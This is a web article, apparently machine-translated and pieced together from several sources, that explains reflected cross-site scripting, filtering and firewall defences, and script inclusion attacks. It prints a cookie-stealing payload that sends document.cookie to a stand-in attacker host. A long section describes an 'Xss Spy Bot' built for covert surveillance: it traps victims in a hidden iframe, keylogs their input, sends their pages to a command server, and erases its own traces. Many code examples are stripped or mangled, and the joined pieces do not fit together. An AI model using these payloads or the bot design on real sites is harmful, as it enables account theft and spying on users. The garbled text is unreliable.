Cross-site scripting. XSS vulnerability - what is it? Examples of XSS vulnerabilities

Ory Segal

Learn how hackers use cross-site scripting attacks, what they do (and don't) damage, how to spot them, and how to protect your Web site and its visitors from these malicious privacy and security breaches.

Cross-site scripting (or XSS for short) is one of the most common application-level attacks that hackers use to compromise Web applications. XSS is an attack on the privacy of customers of a particular Web site. It can lead to complete destruction of the security system when client data is stolen and used in the future for some purpose. Most attacks involve two parties: either an attacker and a Web site, or an attacker and a victim client. However, an XSS attack involves three parties: the attacker, the client, and the Web site.

The purpose of an XSS attack is to steal cookies or other cookies from the client's computer. confidential information, which can identify a client on a Web site. Having information to identify him as a legitimate user, an attacker can act on the site as such a user, i.e. pretend to be him. For example, in one audit conducted at a large company, it was possible to obtain a user's private information and user number using an XSS attack. credit card. This was achieved by running custom JavaScript code. This code was executed in the browser of the victim (client), who had access privileges to the Web site. There are a very limited number of JavaScript privileges that do not give the script access to anything other than site-specific information. It is important to emphasize that although the vulnerability exists on the Web site, the Web site itself is not directly damaged. But this is enough for the script to collect cookies and sent them to the attacker. As a result, the attacker receives the necessary data and can imitate the victim.

Let's name the attacked site as follows: www.vulnerable.site. A traditional XSS attack relies on a vulnerable script that resides on a vulnerable website. This script reads part of an HTTP request (usually parameters, but sometimes also HTTP headers or path) and repeats it for the response page, either all or just part. This does not sanitize the request (i.e., it does not check that the request does not contain JavaScript code or HTML tags). Let's say this script is called welcome.cgi and its parameter is the name. It can be used like this:

How can this be abused? The attacker must be able to lure the customer (victim) into clicking the link the attacker provides them with. This is a carefully and maliciously crafted link that causes the victim's Web browser to access a website (www.vulnerable.site) and execute a vulnerable script. The data for this script contains JavaScript code that accesses the cookies stored by the client's browser for the site www.vulnerable.site. This is allowed because the client's browser "thinks" the JavaScript code is coming from www.vulnerable.site. And the JavaScript security model allows scripts originating from a specific site to access cookies that belong to that site.

The response from the vulnerable site will be as follows:

Welcome! Hi alert(document.cookie)

Welcome to our system...

The victim client's browser interprets this request as an HTML page containing a piece of JavaScript code. This code, when executed, will have access to all cookies belonging to the site www.vulnerable.site. Consequently, it will cause a pop-up window in the browser showing all the client's cookies that are related to www.vulnerable.site.

Of course, a real attack would involve sending these files to the attacker. To do this, an attacker can create a Web site (www.attacker.site) and use a script to receive cookies. Instead of calling a pop-up window, the attacker would write code that accesses the URL to www.attacker.site. In this regard, a script is executed to obtain cookies. The parameter for this script is stolen cookies. Thus, an attacker can obtain cookies from the www.attacker.site server.

Immediately after loading this page, the browser will execute the JavaScript code inserted there and forward the request to the collect.cgi script on www.attacker.site along with the value of the cookies from www.vulnerable.site that the browser already has. This undermines the security of the www.vulnerable.site cookies that the client has. This allows the attacker to pretend to be the victim. Client confidentiality is completely violated.

Note.
Typically calling a pop-up window with using JavaScript is enough to demonstrate the site's vulnerability to an XSS attack. If you can call the Alert function from JavaScript, there is usually no reason why the call would fail. This is why most examples of XSS attacks use the Alert function, which makes it very easy to determine the success of the attack.

The attack can only occur in the victim's browser, the same one used to access the site (www.vulnerable.site). The attacker must force the client to access the malicious link. This can be achieved in several ways.

  • The attacker sends an email containing an HTML page that tricks the browser into opening a link. This requires the victim to use the client Email, capable of working with HTML. And the HTML viewer on the client must be the same browser that is used to access www.vulnerable.site.
  • The client visits a site, possibly created by an attacker, on which a link to an image or other active HTML element forces the browser to open the link. Again, in this case, it is imperative that the same browser is used to access both this site and the site www.vulnerable.site.

Malicious JavaScript code can access any of the following information:

  • persistent cookies (of the site www.vulnerable.site), which are stored by the browser;
  • cookies in memory (of the www.vulnerable.site site), which are supported by the browser instance only when viewing the site www.vulnerable.site;
  • names of other windows open for the site www.vulnerable.site.
  • any information that is available through the current DOM (from values, HTML code, etc.).

Identification, authorization and authentication data are typically stored in the form of cookies. If these cookies are persistent, then the victim is vulnerable to attack even when he is not using a browser when accessing www.vulnerable.site. However, if the cookies are temporary (for example, they are stored in RAM), then on the client side there must be a session with the site www.vulnerable.site.

Another possible implementation of an identification label is the URL parameter. In such cases, you can access other windows using JavaScript as follows (assuming the name of the page with the desired URL parameters is foobar):

var victim_window=open(","foobar");alert("Can access:

" +victim_window.location.search)

To run a JavaScript script, you can use many HTML tags other than . In fact, it is also possible to place malicious JavaScript code on another server and then trick the client into downloading the script and executing it. This can be useful if you need to run a large amount of code, or if the code contains special characters.

Here are some variations of these possibilities.

  • Instead of... hackers can use the . This is suitable for sites that filter the HTML tag.
  • Instead of ... you can use the construction . This is good in situations where the JavaScript code is too long, or if it contains illegal characters.

Sometimes the data embedded in the response page is in paid HTML context. In this case, you first need to "escape" to the free context, and then perform an XSS attack. For example, if data is inserted as the default value for an HTML form field:

And the resulting HTML code will be as follows:

window.open

("http://www.attacker.site/collect.cgi?cookie="+document.cookie)">

So far we have seen that an XSS attack can occur in the GET request parameter that the script responds to. But the attack can also be carried out using a POST request, or using the HTTP request path component, and even using some HTTP headers (for example, Referer).

In particular, the path component is useful when the error page returns an invalid path. In this case, including a malicious script in the path will often cause it to be executed. Many Web servers are vulnerable to this attack.

It is important to understand that although the website is not directly affected by this attack (it continues to function normally, no malicious code is executed on it, DoS attack does not occur, and data from the site is not directly read or tampered with), this is still a breach in the security system that the site offers to its customers or visitors. This is similar to a site that is used to deploy an application with weak security labels. Because of this, an attacker can guess the client's security label and pretend to be him (or her).

The weak point in the application is the script, which returns its parameter regardless of its value. A good script should make sure that the parameter is in the correct format, that it contains acceptable characters, etc. There is usually no reason for the correct parameter to contain HTML tags or JavaScript code. They must be removed from the parameter before it can be injected into a response or used in an application. This will ensure safety.

There are three ways to protect your website from XSS attacks.

  • By performing your own filtering of input data (sometimes called input sanitization). For every user input (be it a parameter or an HTML header), every self-written script should use advanced filtering against HTML tags, including JavaScript code. For example, the welcome.cgi script from the previous example should filter the tag after decoding the name parameter. This method has several serious disadvantages.
    • It requires the application programmer to have a good knowledge of security technologies.
    • It requires the programmer to cover all possible input data sources (request parameters, POST request body parameters, HTTP headers).
    • It cannot protect against vulnerabilities in third party scripts or servers. For example, it will not protect against problems in error pages on Web servers (which display the source path).
  • Performing "output filtering", i.e. filtering user data when it is sent back to the browser, not when the script receives it. A good example This approach could be a script that inserts data into the database and then displays it. In this case, it is important to apply the filter not to the original input string, but only to the output version. The disadvantages of this method are similar to those of input filtering.
  • Installing a third-party application firewall (firewall). This screen intercepts XSS attacks before they reach the Web server and vulnerable scripts and blocks them. Application firewalls can cover all input methods by treating them in a common way (including the path and HTTP headers), regardless of the script or path from the native application, a third-party script, or a script that does not describe any resources at all (for example, one designed to to trigger a 404 response page from the server). For each input source, the application firewall examines the data for various patterns of HTML tags and JavaScript code. If there are any matches, the request is blocked and malicious data does not reach the server.
  • The logical conclusion of protecting a website is to check its security against XSS attacks. Like protecting a site from XSS, checking the level of protection can be done manually (the hard way), or using an automated tool for assessing the vulnerability of Web applications. This tool will take the burden of verification off your shoulders. This program moves around the site and runs all the options it knows for all the scripts it detects. This tries all parameters, headers and paths. In both methods, every input into the application (parameters of all scripts, HTTP headers, paths) is checked with as many options as possible. And if the response page contains JavaScript code in a context where the browser can execute it, then an XSS vulnerability message appears. For example, when sending the following text:

    alert(document.cookie)

    For each parameter of each script (through a browser with JavaScript capabilities to detect the simplest form of XSS vulnerability), the browser will raise a JavaScript Alert window if the text is interpreted as JavaScript code. Of course, there are several options. Therefore, testing only this option is not enough. And, as you've already learned, you can insert JavaScript code into various request fields: parameters, HTTP headers, and path. However, in some cases (especially with the HTTP Referer header), it is inconvenient to perform an attack using a browser.

    Cross-site scripting is one of the most common application-level attacks that hackers use to compromise Web applications. It is also the most dangerous. This is an attack on the privacy of customers of a particular Web site. It can lead to complete destruction of the security system when client data is stolen and used in the future for some purpose. Unfortunately, as this article explains, this is often done without knowledge of the client or organization being attacked.

    To prevent Web sites from being vulnerable to these malicious activities, it is important that an organization implements both an online and offline security strategy. This includes an automated vulnerability checker that can test for all known vulnerabilities of Web sites and specific applications (such as cross-site scripting) on ​​a site. For complete online protection, it is also vital to install a firewall that can detect and block any type of manipulation of the code and data residing on or behind Web servers.

    Everyone has long known that most often, using XSS, an attacker tries to send a Cookie to the victim, read CSRF tokens, carry out a phishing attack (by creating a fake login form), perform some action on behalf of the user, and some other similar attacks (perhaps this is not all possibilities, but these are all the most popular ones known to me on this moment).

    The purpose of this method is to monitor the pages on behalf of the user that he navigates on the attacked site, as well as monitor his keystrokes (you can also use mouse movements and clicks, but for me this will be unnecessary, not particularly useful information, in most cases for sure) .
    Now regarding the maximum benefit - I believe that the algorithm will be like this:

    • read and send Cookies;
    • read and send the rest of the information (IP address, installed plugins, browser version and type, flash support, silverlight support, etc.) [optional]
    • obtain information about the internal network, penetrate the router [optional]
    • read and send different tokens [optional];
    • implement phishing [optional];
    • we do something “with the user’s hands” [optional];
    • we continue to spy on him and get information until he closes the tab or leaves the site;

    All optional list items IMHO should be performed depending on the situation and specific priorities for the goals that need to be achieved using XSS, they can sometimes interfere with each other (if you try to combine them, or rather execute one after the other) and increase the likelihood of failure of the XSS operation.
    But here's the first one last point You should always do this, in any case. Actually, the main part of the article will be about the last item from this list.

    We are approaching the goal.

    I'll start from afar: through JavaScript it is possible to change the path in address bar without reloading the page. For example, if a user loaded a page at


    Then the content in the address bar will become as follows (without reloading the page):

    http: //site.com/new-url/


    This feature, by the way, is sometimes quite useful when it is necessary to hide from users (or a more attentive category of users - admins) by quickly cleaning the URL after they clicked on a link that contained Reflected XSS, so that later, after loading the page, looking in the address bar, didn't find anything.

    http : //site.com/search.php?q=123 document . body. innerHTML += "Hacked" ;

    http: //site.com/search.php?q=123 window. history. pushState ("" , "" , "/" ) ; document. body. innerHTML += "Hacked" ;


    we will deprive him of this opportunity.

    But this technique has even more interesting and powerful applications. We will simulate the user's stay on the site after clicking on the link, in fact, he will remain on one page all the time, and at this time a third-party script will work, extracting and sending information to the attacker. Thus, XSS will work as long as the user clicks on a link on this domain .

    We designate the idea.

    The general principle of operation is this: when a user enters a page with XSS, the script creates an iframe with the same address as the page and “attaches” it to the foreground, the user gets the impression that the page loaded normally, because the iframe can only be seen in the code pages.

    And the auxiliary script controls the logic of the spy bot, that is, it monitors when the address in the frame changes in order to change it in the address bar, but if the newly changed frame address has a different domain, then you can open it in a new tab, or you will have to reload the page so as not to get burned.
    Thus, in order for XSS to stop executing at the moment, the user must either refresh the page manually (if the XSS is Reflected and was transmitted using the POST method, in other cases the update will not help, and by the way, some browsers can now send a POST request again when updating the page) or close the tab or switch to another domain (although in this case you can still avoid losing control).

    If it goes to a subdomain of the attacked domain, then it’s the attacker’s choice, that is, XSS will work, but there is a small chance that the user will detect a discrepancy between the address. I think that depending on the situation here, for example, if the google.ru domain was attacked, the user switched to Google’s cloud file service, which usually lies in the drive.google.ru subdomain, then the likelihood that he will notice the catch when looking at the address bar is quite high , if he often used this service. Otherwise, you might as well take a risk. But we must take into account that we will no longer be able to read its data from a frame with a subdomain, since Cross Origin Policy will not allow it. But we can easily climb the main domain on its behalf in hidden mode(there will be more about this below).

    Only at this method There are limitations, namely, it will not work if the site's web server responses have an X-Frame-Options header with a value of DENY . But personally, I’ve come across such sites literally a couple of times; now even half of them don’t have SAMEORIGIN set, not to mention the complete restriction through DENY.

    Let's analyze the idea.

    Now many probably remember such a wonderful thing as BeEF, which also has a lot of interesting things. By the way, there is also an option to force the user to redirect in the frame, but the address in the address bar does not change, which can quickly burn down the desk and this option serves slightly different purposes.
    In general, BeEF has almost everything you need and even a lot additional functions, but personally I wanted additional functionality, namely:

    • the ability to monitor the code of pages that are accessible to the attacked user in real time;
    • the ability to see everything he types on that site (from login and password, to hotkeys and messages), that is, a keylogger in JS;
    • the ability to give JS commands to your bot in real time, after viewing the code of the received pages;
    • the ability to leave commands to the bot locally, so that it can later “pick them up” and execute them without our direct participation;
    • a lower probability of the bot being burned, or the bot’s ability to “hide” from prying eyes;

    As mentioned above, I decided to borrow the cool idea of ​​a command execution queue from BeEF. For example, we analyzed the pages that the bot dropped when a privileged user was accessing his control panel with stored XSS, we leave commands to the bot - JS code, such as the next time the user logs in, click this button, write this value here, etc. , the next time this user visits the page, the bot reads the commands and executes them, and we don’t have to be at its helm for everything - it’s very convenient.

    Basically, such a bot is, of course, designed for high-status users of some sites that have additional “levers” for managing content, other users, etc. From the requests for functionality it is clear that we cannot do without the server part.

    Let's implement the idea.

    In principle, you can skip this part of the article, since it simply describes the process of implementing the desired bot and some of its details, in case someone wants to remake it or customize it for themselves. Although the bot will have variables at the beginning of the code through which you can set some settings.
    First, the algorithm of the bot’s actions from the moment of loading:

    1) Checking for header presence X-Frame-Options:DENY(if there is one, then we roll up the fishing rods);
    2) Embedding a frame and setting up all components of the bot;
    3) Removing the script and all traces in the HTML code;
    4) Establishing contact with the server part and starting to send data, responding to responses (receiving commands from the server);

    The first point was not done completely, that is, the bot only checks the first page and the root header. The fact is that usually these headers are built in by the web server for all pages at once and very rarely, which for separate page everything is done “by hand”. And this title itself is quite rare. Well, there’s not much to say about the second and third, everything will be below.

    There is a relatively important point that before adding bot script code in your code, you need to get rid of XSS signs in the address bar immediately (from the JS code), since this reduces the chances of detection and, most importantly, prevents recursion that occurs when adding an address to the frame with the same XSS code, which in turn creates another frame with itself, and so on.

    But just in case, the bot code implements the ability to detect such frame recursion and prevent it at the first attempt to add a frame to an already created one, but it is better not to rely only on it, but to additionally remove the code before loading the bot code. Although I haven't encountered any problems yet.

    Frame update check function. I tried several ways to economically solve this problem by hanging event handlers on contentWindow or contentDocument, but nothing worked, so I had to write a function that would check the address of the frame and compare it with the previously saved one, and based on this, decide whether the frame was being updated (whether the address had changed) and then call itself recursively.

    The frequency of such checks per second is controlled by the variable delay, which is listed at the beginning of the bot code file. But later, having already written it, I found a more effective solution - use a simple solution and hang onload to the frame, so I left that function, but commented it out, in case it later turns out to be more in demand.

    Sending the HTML code of the page.

    The scheme here is quite simple - after each frame reload (including the first loading), the bot sends to the server the entire HTML code of the page along with its current address, so that later you can distinguish whether the code belongs to the desired pages.

    The server implements the logic of storing pages - the server creates a folder for each domain with the name of this domain and saves all the data there. Page codes are saved and constantly updated on current versions, but at the same time, every new day a new copy of the page is created so that you can control the version history if necessary. That is for /news.php On September 1, the state will be updated, and on September 2, a copy of it will be created, only relevant for that day, and so on every day again (if the user visits this page every day). The page name consists of the date and path to this page relative to the root of the site (that is, without the domain).

    Keylogger in JavaScript.

    The idea had already been implemented by some enthusiasts, but their work was not suitable for me, if only because most of them were quite simple, that is, they detected the code of the pressed key and through String.fromCharCode translated into symbols. But this method has a number of disadvantages - control keys such as shift, control, space, etc., are not translated into any form (often simply into an empty character), the interaction of alphanumeric keys with shift is incorrectly logged, since this must be implemented programmatically, and Also, all pressed keys are displayed in upper case, which can also be corrected programmatically.

    The result was a keylogger that correctly detected all the keys of numbers, letters and basic characters, working on both layouts, reacting to shift and logging all the main special keys. True, some characters (at the top of the number row, which are printed when the shift and number are pressed) may differ on some machines, since they were implemented according to the basic standard, which some companies change.
    Each portion of characters pressed is retained by the client until the text element loses focus. Next, this portion is sent to the server, where it is stored in text file, which will also be created every day with a new copy, so that it does not grow to large sizes and you can quickly find what the user was typing at such a time.
    In addition to the keys themselves, information about the element in which the text was typed is sent to the server with each portion (that is, whether it was , [ or some when the user used hotkeys), in addition to the name of the element, its basic data (id, name, class - if present) is sent so that it can then be easily found in the code. And of course, the address of the page on which the recruitment was made and the approximate time of this recruitment are recorded. IN general information about the user tapping on the keyboard is sent quite enough for its subsequent analysis.

    Command your bot.

    This process can be carried out by the attacker or on the side where the bot will run the server side or even remotely. After running the server script, a self-written miniature web server starts, which serves requests from the bot and its controller, which works through the web interface. That is, after starting, the web server issues a link, by going to which you can start giving commands to the bot.

    About this control panel. Firstly, it was necessary to restrict it with a password (the path and few people will know about the running service on such and such a port or about the address to which they need to go to in order to use this service), so that on the first login the server will ask for a password, which is supplied in the address bar (an example will be provided), the original password is stored in password.txt, which can be changed. After the first login, the web server will instruct the browser to save the password in a cookie, so you don’t have to worry about it any further.

    On the page itself for sending commands to the bot there is also information about the state of the bot - whether it is online or offline at the moment, and a couple of settings, the first of which is the host, that is, the IP address or domain of the site to which commands will be sent to the bot. This is designed in case several sites contain this bot, so that they can be identified. On the server, also for this case, all data is divided into folders with domain names.
    Next is a window where you can write commands to the bot in JS, and an option that sets where this JS code will be executed, on the main window where the bot sits or in a frame - this is done for convenience, just in case.

    If the bot is not online, then the server simply saves the commands and later, when the bot goes online, that is, the user again visits the page with it or follows the attacker’s link, these commands will be executed.
    This is very convenient if, during the first reconnaissance, the bot deleted all pages visited by the user (for example personal account), having studied the code of which we compiled commands in JS, so that the bot would then click on the links we needed, enter the necessary data, display the necessary pictures, etc., which would help achieve our goal.

    Or you can directly in real time, quickly look at the contents of pages through the code and give commands to the bot so that it sends the code of other pages, goes to another address, etc. And all this will be done “behind the screen” of the user, who will calmly surf site through a frame.

    For your convenience, you can form the most frequently used instructions into entire functions in JS, which are then entered into the bot’s source file ( xsb.js, more about the file structure below) and use. Or use those functions that are included in the bot, although there is only the basics and there is nothing new, but for example, you can use the function of sending the page code at any time, and not when the frame is reloaded. You can write a function that will open the links passed to it in new frames in the background in order to view the contents of several pages at once on behalf of the user (and operate with this content with his virtual hands).

    Removing your own code.

    Well, the last feature is implemented quite simply (it can be disabled by setting the desired variable in the file, they are commented out). The script, after setting up and hanging all event handlers, creating all variables and functions, deletes itself

    After all, all the data has already been loaded into RAM through the browser, so there is nothing to worry about, but this is in theory, maybe later there will be some problems that I did not take into account, so I created a variable that can be used to disable this feature if necessary.

    After deleting all the scripts, it will be extremely difficult to notice XSS, since the presence of a frame does not indicate this quite indirectly, and the code itself can only be found in the browser’s network traffic history logs (which are not kept by default in many browsers if the developer panel is not open) .

    Server part.

    For a simpler and more convenient way to launch the bot, it was decided to write our own small web server on sockets, which would serve the bot, provide all operations for receiving and posting sent data, transmit messages between the attacker and the bot, and create a web interface for the attacker for command .
    The server was written in Python, I tried to use only standard libraries so that I didn’t have to install anything before launching. Also, the server itself edits some data in the scripts, that is, in the bot’s JS script there is no need to set the address of the commanding server, the web server itself will set the required one there upon startup. There is only one parameter in the server configuration - the port on which it will start (default is 8000).
    After starting, the server will provide all the necessary data - a link to the JS script, which will need to be slipped, a link to the command panel, or rather links to external and local addresses, for convenience.

    Scheme of working with the bot.

    We launch the server on some unclaimed port and you can send out a link with a bot script, then everyone who clicks on it will send you data that the server will save at any time of the day. Then you can simply view them if there is a need to leave the team bot and continue to do its own thing.

    File structure.

    The folder contains the following files:

    • xsb.py - the main file that implements the server part; for the bot to work, launch it, and then simply use the link it offers;
    • xsb.js - the JS code of the bot is stored here, the link to which is provided by the server; configuration variables are declared at the beginning of it, which can be changed at your discretion (some, namely the host and port, the server will set later itself, you don’t have to worry about);
    • panel.html - from here the server takes the code for the bot control panel, you can adjust the interface at your discretion;
    • password.txt - the password for the control panel is stored here, which can be changed;
    • savedData is the directory in which folders with website domains will be created, in which all information will be saved.

    Let me note again that in the file xsb.js you can add your own functions, which you can then call through the panel without writing huge portions of code;

    A short analysis of the results.

    After writing my own invented way to keep a user on a page with XSS through frames (well, as invented - I personally discovered it for myself, it is quite possible that someone else “invented” this same technique for themselves or it’s already somewhere in the public glowed, because now it’s quite difficult to develop something truly new, and as a rule, after some time you discover that “this was already in The Simpsons”) I began to delve into BeEF in more detail and read its wiki. Then I discovered that another technique was implemented there to achieve the same goal - extending the user’s time on a page with executable XSS (which they called man-in-the-browser). And it was implemented like this: all the links on the original page were changed in such a way that when you clicked on any of them, the script did not reload the page, but sent a request to the server via Ajax and inserted the data received in the response, that is, one could say artificially updated it, which was also almost indistinguishable from ordinary refreshment.

    Therefore, I was not the first to succeed in realizing this idea (even if the methods turned out to be different). But both of these methods have their drawbacks:

    The loading method via does not work if there is a header in the response X-Frame-Options:DENY, but otherwise it works like a regular browser window;

    The ajax method always works if the browser supports it (all major browsers support it now), but with the new Web 2.0 standard, more and more transitions are triggered by custom events of any elements via JS. One day I went to Google AdWords and decided to see how their HTML and JS interacted there, because all my spiders were extremely bad at creating the back map of this service. And I was quietly freaking out all evening about how unusual everything was there, when text elements were buttons and switchers and sliders and were depicted with everything else, and each one had about 30 handlers for different events.

    That is, on a sophisticated site, the transition button (subjectively a link) will be implemented through a regular tag , which is loaded with styles and on which event handlers are attached, one of which, for example, onclick redirects the user to another page. There are also standard elements like [i] or himself etc., which are also actually links to other pages, but to which BeEF will not respond and the page simply will not update when you click on most buttons and other elements. Which may prompt the user to refresh the page or re-enter from the other side, which kills our active XSS session.

    For brevity in naming the files, I called it Xss Spy Bot.

    P.S.
    This whole thing took a little over a month to write due to periodic lack of time and constant distractions. Also because of this, the quality of the code and the likelihood of running into some bug is quite high. So I ask you not to swear too much, but to write down what is wrong with someone so that it can be corrected.
    I myself tested the bot on only 4 machines, all of them running Debian.

    Long-term plans for this bot, if there is motivation:
    — implement rendering of the code of the pages that the bot sends to the server, so that it immediately opens in the browser and can be “touched” and tested on the fly;
    — they will try to catch goodies from WebRTC technology, that is, find ways to get new information, which is not pulled out by pure JS;
    — implement communication between the bot and the server using the WebSocket protocol over HTTP;
    — add some conveniences to the control panel;

    Last updated by at November 18, 2016.

    Using XSS, experienced attackers integrate scripts running on them into the pages of victim sites, executed when visiting infected resources. There are several types of XSS vulnerabilities that pose varying degrees of severity.

    Features of passive and active vulnerability

    You should be most careful when dealing with active vulnerabilities. When an attacker injects his SQL code into an accessible database or file on a server, every visitor to the infected resource can become a victim. Such places are often integrated, so even data stored in the database processed by your protection may still pose some danger.

    Creating a passive XSS vulnerability requires some creativity on the part of the attacker. Either they lure you to a fake resource with all sorts of links, or they try to redirect you to the required site by any means. This usually happens through letters from the fictitious administration of the page you are visiting, asking you to check your account settings. Various spam mailings or posts on widely visited forums are also actively used.

    Passive XSS vulnerabilities can come from both POST and GET parameters. The former are characterized by a number of different tricks, while the latter are characterized by encoding the URL string or inserting additional values.

    Stealing Cookies

    Most often, it is your Cookies that become the target of an XSS attack. Sometimes they contain valuable information, including user logins and passwords or their hash. But stealing active sessions of sites that are important to you is also quite dangerous, so do not forget to click on the “exit” button even when visiting sites with home computer. Although most resources use automatic session duration limits to prevent such actions. XMLHttpRequest domain restrictions do not protect against such attacks.

    Data from completed forms

    Reading information in fillable forms is also popular. To do this, event tracking (onsubmit) is performed on pages of interest, and all provided data is also sent to the attackers’ servers. Such attacks are in many ways similar to phishing attacks, but the theft occurs not on a fake one, but on a real site with a good reputation.

    Distributed DDoS attacks

    Multi-visited resources are also used for XSS attacks. Thanks to the XSS vulnerability, requests coming to them are redirected to the hacked server, as a result of which its protection fails.

    Cross-Site Request Forgery (CSRF/XSRF)

    They also have little in common with XSS. This is a separate type of vulnerability used in combination with XSS. Their goal is to lure an authorized user from an invulnerable site to a fake vulnerable page to carry out fraudulent transactions. For example, a client using electronic system payments are lured to a vulnerable website that transfers money to the accounts of attackers. Therefore, most payment systems provide protection by additionally entering a password or code confirming the operation.

    Injection of XSS worms

    Such an XSS attack on a website appeared with the development of well-known social networks (VKontakte, Twitter and others). Through them, entire groups of users receive vulnerable XSS links with integrated scripts that send spam across networks on their behalf. It is also widely practiced to simultaneously copy personal information and photographs to attackers’ resources.

    Examples of harmless XSS

    Note that many types of counters also act as active XSS. They transmit data about registered visitors (their IP addresses, data about the equipment used).

    Only this code is integrated into your computer at your own will. Other similar XSS can easily include a number of cross-domain AJAX requests.

    About the possibility of obtaining various information from third-party sites using a simple attack - Cross Site Scripting Inclusion (XSSI).

    If you read Easy Hack systematically, then you are probably already very familiar with Same Origin Policy (SOP), we often return to it. Due to the SOP, the ability to interact between the two "sites" is very limited. But since the task of receiving and sending information on one site from another arises often, we introduced various methods to “soften” policy and organize interaction. For example, such as CORS or crossdomain.xml. One of the older methods is loading JavaScript from another domain via the . SOP does not limit us in any way here: you can specify an almost arbitrary location.

    For example, there is an attacker’s host evil.ru and a victim’s website - victim.com. On evil.ru we can put an HTML file and link to any script from the victim:

    When a user enters the attacker’s website, the browser will load and run JS from victim.com, but in the context of SOP evil.ru. This means that from the attacker’s JS we will be able to access (not all) JS data from the victim’s server.

    For example, JS content from the victim site (http://victim.com/any_script_.js):

    Var a = "12345";

    Then on the attacker’s website we can get the value of the variable:

    console.log(a);

    The idea of ​​the work is as simple as an aluminum kettle.

    In fact, the ability to load static JS from other sites poses no more problems for the victim site than loading an image.

    Problems can arise when JS is generated dynamically, that is, when the content of the JS script changes based on data from the cookie depending on which user accesses it. For example, JS stores some “critical” information: personal information (email, username on the victim site) or technical information (anti-CSRF tokens).

    But, as we know, when loading a script through a tag, the user’s browser automatically sends a cookie to the user. By adding up these facts, we are able to obtain information about any user who has visited the attacker’s website and is logged in to the victim site.

    What can we find out? Global variables and the results of global functions. Unfortunately, we won’t be able to access internal variables/functions (although perhaps someone will find a way to do this too).

    Function test())( return "private data frm function"; )

    This attack looks possible, but it seems too simple and should not be common. This is what makes the presentation at Black Hat interesting. Researchers analyzed 150 popular websites and found that a third of them were vulnerable to some degree. These statistics force us to look at the problem a little more closely.

    Another pattern was also revealed. Content Security Policy is becoming more common. As you know, with it we can indicate from which domains this or that resource can be loaded. For example, you can say to execute JS only from the same resource. Besides, best practics CSP settings imply a ban on running inline JS (that is, code that is located directly in HTML and not loaded from a JS file).

    However, transferring inline to files can be done with crutches and in a hurry - that is, through dynamically generated scripts. Since CSP has no effect on XSSI, we can again carry out our attacks. This is such a bad practice.